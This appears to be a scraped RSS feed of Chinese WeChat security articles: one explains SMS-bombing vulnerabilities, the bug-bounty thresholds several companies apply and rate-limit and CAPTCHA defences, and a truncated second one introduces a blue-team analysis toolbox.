<div id="js_image_content" class="image_content ">  <!----> <!----> <div class="wx_album_area js_album_wrap " style=""><a href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU3MTU3NDk4Mw==&amp;action=getalbum&amp;album_id=3306802416922705934#wechat_redirect"><span>#</span><span role="option"><i role="img" aria-label="#" class="wx_album_hash weui-icon-medium-hash "></i> <span class="wx_album_name ">安全招聘</span>  <span class="wx_album_num ">2</span></span></a></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>

<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_gif/px3YHTjnicpqAxwUkRpV3Y4lAM5qp6OTEFA4ro9N77mRu5QCPoWVbVQz983hEftf1yaVgcj5wx1lQQ0OVPHib0qw/0?wx_fmt=gif"/></p>



]]></content:encoded>
      <pubDate>Wed, 31 Jan 2024 17:27:20 +0800</pubDate>
    </item>
    <item>
      <title>短信轰炸问题</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485205&amp;idx=1&amp;sn=d56ab19288c78b3f39cc49718727112b</link>
      <description>相信每个渗透测试工程师在工作中会常常挖掘到短信轰炸漏洞，同时在测试过程中也会遇到一个疑问，一是如何设置短信发送数量的阈值，二是如何设置时间的阈值，简而言之，在多长时间内发送多少条短信才能认定是短信轰炸漏洞。</description>
      <content:encoded><![CDATA[<p>
<span>C4</span> <span>2023-10-26 11:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>相信每个渗透测试工程师在工作中会常常挖掘到短信轰炸漏洞，同时在测试过程中也会遇到一个疑问，一是如何设置短信发送数量的阈值，二是如何设置时间的阈值，简而言之，在多长时间内发送多少条短信才能认定是短信轰炸漏洞。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bb480915&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fpx3YHTjnicppTWTFDxibvnEdBic2p2mbB3iaS2MSmBhXbXAvO6KvAc2FswpHP2dusIe7ibNBkwvibNdic7xzwnhLqrnWg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong>一、漏洞原理</strong></p><p><span style="letter-spacing: 0.578px;">       </span>在绝大部分网站中，都提供短信来进行用户验证，如注册、登录、修改密码、转账等功能，通过短信可以简单便捷地进行用户验证。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2397094430992737" data-s="300,640" style="" data-type="png" data-w="413" src="https://wechat2rss.xlab.app/img-proxy/?k=f3c5381c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fpx3YHTjnicppTWTFDxibvnEdBic2p2mbB3ia2Z6LAAOiaGU3QD68j6AYOaUPfVI63lKaFYus1SYMEeOQRaFKSbOXLYA%2F640%3Fwx_fmt%3Dpng"/></p><p>       但是，如果验证逻辑存在缺陷，导致用户可以无限制请求短信接口，就会造成短信轰炸漏洞，也属于防护功能滥用类漏洞。该漏洞的利用过程也比较简单，即伪装成正常用户，向短信接口发起大量的请求，即可完成攻击过程。短信轰炸漏洞也能造成不小的危害，如会造成短信通道阻塞、短信资源被恶意消耗，如果被灰黑产利用，制作成短信轰炸机，还会造成企业形象受损，若被用户投诉还可能造成接口封禁等威胁。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7987519500780031" data-s="300,640" style="" data-type="png" data-w="641" src="https://wechat2rss.xlab.app/img-proxy/?k=bae9c377&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fpx3YHTjnicppTWTFDxibvnEdBic2p2mbB3iaxlcy6Tx6fhMHDMk0tsjo7SDxeZu4WUCMlt6dticibnCvnC5WW0c9bRlA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong>二、实际问题</strong></p><p><span style="letter-spacing: 0.578px;">       </span>相信每个渗透测试工程师在工作中会常常挖掘到短信轰炸漏洞，同时在测试过程中也会遇到一个疑问，一是如何设置短信发送数量的阈值，二是如何设置时间的阈值，简而言之，在多长时间内发送多少条短信才能认定是短信轰炸漏洞。为什么会有这个疑问呢，其实跟实际的工作非常贴合。首先，作为网络安全公司的工程师，目的是为企业提供更好的服务，创造价值。其次，作为监管方，要履行应有的职责，多数情况下也会采纳安全厂商的建议。最后，作为被监管方，要保障业务的安全稳定运行。那么，当一个漏洞的判定标准不同时，就会引发额外的沟通成本。查阅一些相关的资料，重新理解了短信轰炸漏洞的定义。选取具有代表性的互联网公司的安全应急响应中心的安全漏洞及威胁情报处理规范，调研结果如下：</p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">腾讯</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">安全应急响应中心，无限制短信轰炸漏洞；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">字节跳动安全应急响应中心，短信轰炸需要能够绕过已有风控策略，造成短时间高强度（5分钟内连续发送50条以上）对同一号码进行轰炸。横向短信轰炸（对不同手机号码发送短信）不收取；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">百度安全应急响应中心，普通逻辑设计缺陷。包括但不限于无限制短信邮件等发送等，《</span>百度安全响应中心漏洞奖励处理细节V2.0<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">》；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">阿里安全响应中心，轻微的设计缺陷漏洞，如对单个手机的无限短信轰炸漏洞；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">快看安全应急响应中心，单一 IP/用户半小时内定向发送超过 50 条短信后无任何限制，利用短信接口无限制向不同手机发送单条短信的行为将被忽略。</span><span style="letter-spacing: 0.578px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);"></span></p></li></ol><p><span style="letter-spacing: 0.578px;">       </span>综上所述，对于短信轰炸漏洞的定义是在短信发送数量上至少能够连续发送50条以上，那么在时间上是没有明确的标准，欢迎各路大神提供有价值的参考材料。</p><p><strong>三、防御思路</strong></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="letter-spacing: 0.578px;">       </span>短信轰炸漏洞造成的原因大概可以总结为两个，一是没有验证用户是否为正常用户，二是没有限制短信下发的频率，而防御思路也可以根据这两个方面来展开。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">针对于用户校验方面，可以通过在发送短信验证之前，增加图形验证码或者是滑块验证码。而短信下发频率方面，可以限制单个IP请求频率、限制单个手机号请求频率等等。参考《基金管理公司移动互联网应用程序技术规范》对短信验证码问题提出了几点要求：</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">应确保手机号的真实性得到验证，用户修改手机号应进行严格的身份验证；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">短信验证码发送时，应包含相关业务信息，说明短信验证码用途；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">应为短信验证码设置合理的有效期；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">短信验证码应随机产生，且长度不小于4位；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">短信验证码的使用应遵循一码一用的原则，不允许被重复使用，不允许跨业务跨订单使用；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">短信验证码短信的内容不应由用户定制；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">需要短信验证码的业务场景，应充分论证其业务的必要性，避免造成短信轰炸。</span></p></li></ol><p><br/></p><p>3.1 图形验证码</p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="letter-spacing: 0.578px;">       </span>造成短信轰炸漏洞的主要原因是攻击者可以编写成自动利用脚本工具，对短信接口进行大量的调用。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">如果在获取短信验证码前，增加一个图形验证码，只有校验成功才能进行后续操作，也能有效地防御漏洞。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">如果图形验证码功能增加的逻辑不当，仍然会造成短信轰炸漏洞：</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">前端验证，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">图形验证码必须在服务端生成和校验；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">验证码复用，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">验证码必须单次有效，有合理的失效机制；</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">图形过于简单，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">可以使用OCR进行图形识别，验证作用也就不复存在了，可以使用需要逻辑判断的图形验证码，如简单的算式等等，都可以增加攻击者自动化攻击的成本。</span></p></li></ol><p><br/></p><p>3.2 滑动验证</p><p><span style="letter-spacing: 0.578px;">       </span>相对于简单的图片验证码，滑动验证的方式不仅用户体验会更好，安全性也会更高，因为滑动验证的本质逻辑是用户的拖放轨迹是否符合真实用户的行为特征。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">但是，滑动验证也并不是完全不可绕过， 在Github 上有不少利用深度学习进行滑动验证项目。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">其工作原理是，通过对大量的样本数据进行数据标注，即将滑块的位置标注，用目标识别的模型，预测出滑块位置，最后通过轨迹方程，完成滑块验证。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">同时，滑动验证也需要规范使用的逻辑，如有效性控制，包括了有效时间和有效次数等等。</span></p><p>3.3 限制单个IP请求频率</p><p><span style="letter-spacing: 0.578px;">       </span>通过限制IP在单位时间内的请求次数，可以有效阻止某个IP在短时间内对大量用户进行轰炸攻击。一旦用户请求次数超出设定的阈值，则暂停对该IP一段时间内的请求进行响应；若造成大量的恶意请求，也可以将IP加入黑名单，禁止该 IP 的访问请求。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">然而，通过IP限制的方式，仅仅是增加了攻击成本而已。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">单一的IP限制很难达到比较好的防御效果，攻击者可以使用代理池等对IP限制进行绕过。</span></p><p>3.4 限制单个手机号请求频率</p><p><span style="letter-spacing: 0.578px;">       </span>可以根据业务需求，对手机号在单位时间内的请求次数进行限制，如一天不超过十次等。同时，还需要对两次请求之间的时长做合理限制，时长应该要超过验证码有效期。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">通过这样的限制，可以有效地解决单个用户遭受短信轰炸的困扰。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">但是，仅仅通过限制单个手机号的请求频率，依然无法解决所有问题。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">这样的防御方案仅仅防止了短信轰炸问题，但是攻击者依然可以通过生成随机手机号，对随机用户发送短信，虽然这样的攻击并不会造成轰炸的效果，但是依然会损耗短信资源，造成一定的损失。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.2933333333333332" data-s="300,640" style="" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485205">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bc50d881&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTU3NDk4Mw%3D%3D%26mid%3D2247485205%26idx%3D1%26sn%3Dd56ab19288c78b3f39cc49718727112b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Oct 2023 11:30:00 +0800</pubDate>
    </item>
    <item>
      <title>第57篇：蓝队分析辅助工具箱V0.52更新，美化界面|shiro、log4j2、冰蝎哥斯拉解密|ip地址分析|含java反编译等</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485183&amp;idx=1&amp;sn=64260c75aece01a91ff54bfffec898c2</link>
      <description>大家好，ABC_123大佬的公众号正式更名为”希潭实验室”，ABC_123坚持99%原创，敬请关注。</description>
      <content:encoded><![CDATA[<p>
<span>abc123info</span> <span>2023-04-17 19:33</span> <span style="display: inline-block;">北京</span>
</p>

<p>大家好，ABC_123大佬的公众号正式更名为”希潭实验室”，ABC_123坚持99%原创，敬请关注。</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9b5a84c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCzLlUiaJPBGcFnsI0U7kcuupq5gZjDTWj4vBeCMl4jGw9OL6oVnBIVYw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.16" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=74d296f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450ATcz6jUJnFNeOxRzVZ9LbcCCMJ6Af2WYicgMPA32IwibF8mI2ibC9h8jaHkhxnZzZuqctMLRTxDudicA%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(255, 255, 255);background-color: rgb(223, 34, 34);letter-spacing: 1px;"><strong><span style="background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);font-size: 18px;"> Part1 前言 </span></strong></span><o:p></o:p></h2><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;color: rgb(0, 122, 170);">大家好，我是ABC_123，公众号正式更名为”希潭实验室”，<strong style="color: rgb(0, 122, 170);letter-spacing: 1px;white-space: normal;"><span style="font-size: 14px;">ABC_123坚持99%原创，敬请关注</span></strong></span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">。</span></span><span style="color: rgb(68, 68, 68);"><span style="letter-spacing: 1px;font-size: 14px;">年前写了这么一款蓝队分析辅助工具箱，看到很多朋友都在使用，于是我也抽出时间把很多功能进行了优化和更新。“蓝队分析辅助工具箱”就是把我平时写的蓝队小工具集合起来形成的，重点解决蓝队分析工作中的</span><span style="font-size: 14px;letter-spacing: 1px;">一些痛点问题。</span><span style="font-size: 14px;letter-spacing: 1px;">本次更新重点解决热心网友反馈的一些问题，</span></span><strong><span style="font-size: 14px;letter-spacing: 1px;color: rgb(223, 34, 34);">解决了长时间让ABC_123非常头痛的Java Swing软件界面美化问题</span></strong><span style="letter-spacing: 1px;color: rgb(68, 68, 68);font-size: 14px;">。</span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="font-family: -apple-system, system-ui, BlinkMacSystemFont, &#34;PingFang SC&#34;, &#34;SF Pro Text&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Heiti SC&#34;, Arial, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, sans-serif;text-align: left;background-color: rgb(255, 255, 255);letter-spacing: 1px;font-size: 14px;color: rgb(68, 68, 68);"><strong>注：1、软件路径不能包含中文。2、Mac系统下复制粘贴请使用Command+V、Ctrl+V、Alt+V等快捷键进行尝试</strong>。</span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;"><br/></span></span></p><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(223, 34, 34);"> Part2 使用说明及功能介绍 </span></strong></span></h2><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-weight: bold;color: rgb(223, 34, 34);letter-spacing: 1px;"><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(223, 34, 34);letter-spacing: 1px;"><strong><span style="color: rgb(223, 34, 34);font-size: 16px;">端口连接添加ip归属地址|对国外IP高亮显示</span></strong></span></h2></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">假设甲方客户的内网主机中了恶意病毒，蓝队人员通常会执行netstat -an命令去查看每个端口或者进程连接国外ip地址情况。将</span><span style="font-size: 14px;color: rgb(0, 122, 170);"><strong>netstat -an</strong></span><span style="color: rgb(68, 68, 68);font-size: 14px;">结果贴到工具中，点击“</span><span style="font-size: 14px;color: rgb(0, 122, 170);"><strong>查询ip对应物理地址</strong></span><span style="color: rgb(68, 68, 68);font-size: 14px;">”按钮，程序就会在每一行结果后面，添加上每个ip地址对应的国家、城市、经纬度、国外大学等物理地址，方便蓝队人员快速定位出存疑的ip、端口、进程，而且</span></span><strong><span style="color: rgb(223, 34, 34);letter-spacing: 1px;font-size: 14px;">此功能无需联网使用，断网情况下仍然可以用。</span></strong><span style="font-size: 14px;letter-spacing: 1px;color: rgb(68, 68, 68);">本次更新优化了查询速度，基本上秒出结果，</span><strong><span style="color: rgb(223, 34, 34);letter-spacing: 1px;font-size: 14px;">同时对国外的IP地址进行了标黄处理，方便查看</span></strong><span style="letter-spacing: 1px;color: rgb(68, 68, 68);font-size: 14px;">。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3082fc1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCXKpI8Zxk8AqOywibPNpSIYwyIdWTW4kJGckzhHQzbDMpoqVCtB2ayJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="color: rgb(223, 34, 34);"><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 16px;color: rgb(223, 34, 34);">Java反序列化数据包分析功能</span></strong></span></p></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">此功能可以直接对java反序列化数据包进行解包分析，参考了</span><strong><span style="font-size: 14px;letter-spacing: 1px;color: rgb(0, 122, 170);">SerializationDumper</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">工具的代码。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=042ee990&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCB3YOeayaa4lvWZCYKT1JRWrZvumDxjZs74plibLTfQBy5c7tTF7O9TQ%2F640%3Fwx_fmt%3Dpng"/></p><p 